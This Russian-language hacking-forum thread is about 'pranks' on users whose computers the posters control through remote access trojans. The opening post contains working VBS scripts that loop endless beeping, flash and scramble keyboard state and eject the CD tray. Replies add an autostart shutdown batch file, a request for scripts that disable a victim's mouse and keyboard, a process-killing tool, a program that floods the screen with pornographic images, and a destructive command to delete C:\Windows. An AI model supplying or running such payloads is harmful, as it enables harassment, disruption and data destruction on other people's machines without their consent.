1. Все файлы исключительно загружать на наш сервер в формате .rar или .zip, темы где будут указаны ссылки для загрузки файлов будут удалены.

Шалости с юзерами

Тема в разделе "Разговоров на любые темы", создана пользователем xakser, 18 янв 2016.

Метки:
  1. xakser
    Статус
    Оффлайн
    Сообщения:
    407
    Симпатии:
    275
    Всем привет! Наверное все хоть раз шутили над юзерами в комете или других ратниках.
    Так вот, кто как шутил?) У меня есть несколько скриптов vbs и муха на монитор.
    Муха:

    Пожалуйста, войдите или зарегистрируйтесь чтобы видеть ссылки.


    Скрипты vbs:
    Код:
    ~Пищащий динамик~
    Скрипт:
    
    Set S = CreateObject("Wscript.Shell")
    do
    execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"
    loop
    
    <<==============================================================>>
    ~Мигающая клавиатура (так же делает написанный текст вида: ПрИмЕр ТеКсТа)~
    vbs Скрипт:
    
    Set s = CreateObject("Wscript.Shell")
    do
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    s.sendkeys"{numlock}"
    wscript.sleep 80
    s.sendkeys"{capslock}"
    wscript.sleep 80
    s.sendkeys"{scrolllock}"
    wscript.sleep 80
    loop
    
    <<==============================================================>>
    ~Въезжающий - выезжающий дисковод~
    vbs Скрипт:
    
    Set WMPlayer = CreateObject("WMPlayer.OCX.7")
    do
    WMPlayer.CdRomCollection.Item(0).Eject()
    loop
    
    <<==============================================================>>
    ~Бесконечно жужжащий разъем для дискет~
    Скрипт:
    
    Set WSHShell=WScript.CreateObject("WScript.Shell")
    Sub Zapadlo(Fuck,Wait)
    Set WshShell=WScript.CreateObject("WScript.Shell")
    C=WshShell.Run(Fuck,Wait)
    End Sub
    
    do
    Call Zapadlo("A:\",true)
    loop
    Делитесь своими шалостями, у кого есть:ok:
     
    liquid581, MR. MORFEY и Virus H.D нравится это.
  2. Virus H.D
    Статус
    Оффлайн
    Сообщения:
    140
    Симпатии:
    104
    Надо мной препод пошутил. Сделал батничек и в автозагрузку.
    -- shutdown /s /t xxx(время)
    Выключает компьютер через заданное время.
     
    kowuhixar и xakser нравится это.
  3. hackerpro
    Статус
    Оффлайн
    Сообщения:
    445
    Симпатии:
    657
    Ребят, дайте прямые скрипты на отключение мыши и клавиатуры у пользователя!
     
    Hiaby и smokylifer нравится это.
  4. liquid581
    Статус
    Оффлайн
    Сообщения:
    126
    Симпатии:
    60
    Софт рыгает и пердит:

    Пожалуйста, войдите или зарегистрируйтесь чтобы видеть ссылки.


    Обычно запускаю несколько раз, юзеры с ума сходят)
     
    Hiaby, kowuhixar, smokylifer и 4 другим нравится это.
  5. liquid581
    Статус
    Оффлайн
    Сообщения:
    126
    Симпатии:
    60
    Вот кстати, еще одна прикольная штучка. Увеличивает курсор при этом издается забавный звук.

    Пожалуйста, войдите или зарегистрируйтесь чтобы видеть ссылки.

     
    kowuhixar, smokylifer и xakser нравится это.
  6. HekTo
    Статус
    Оффлайн
    Сообщения:
    6
    Симпатии:
    7
    Прикол "синий экран смерти", напугает любого юзера:

    Пожалуйста, войдите или зарегистрируйтесь чтобы видеть ссылки.


    Прикол "Летающий пуск":

    Пожалуйста, войдите или зарегистрируйтесь чтобы видеть ссылки.


    Прикол "Пьянный курсор":

    Пожалуйста, войдите или зарегистрируйтесь чтобы видеть ссылки.


    Думаю не надо писать что каждая программа делает, ибо и так видно.
     
    kowuhixar, liquid581, hackerpro и ещё 1-му нравится это.
  7. liquid581
    Статус
    Оффлайн
    Сообщения:
    126
    Симпатии:
    60
    [​IMG]
    Ну короче, такой простой софтец, друже накидал на дельфе.
    Убивает указанный процесс и не дает ему запуститься.
    Может быть кому то полезно будет. Тестируем!

    Пожалуйста, войдите или зарегистрируйтесь чтобы видеть ссылки.

     
    Anubis, kowuhixar, xakser и 2 другим нравится это.
  8. liquid581
    Статус
    Оффлайн
    Сообщения:
    126
    Симпатии:
    60

    Пожалуйста, войдите или зарегистрируйтесь чтобы видеть ссылки.


    Все просто, после запуска - открывает кучу порно картинок, открываться будут в зависимости от скорости интернета и мощности ПК)
     
    Anubis нравится это.
  9. SHAMAN
    Статус
    Оффлайн
    Сообщения:
    25
    Симпатии:
    5
    delete "C:\Windows"
     
    FAST3 нравится это.
  10. hackerpro
    Статус
    Оффлайн
    Сообщения:
    445
    Симпатии:
    657
    xakser нравится это.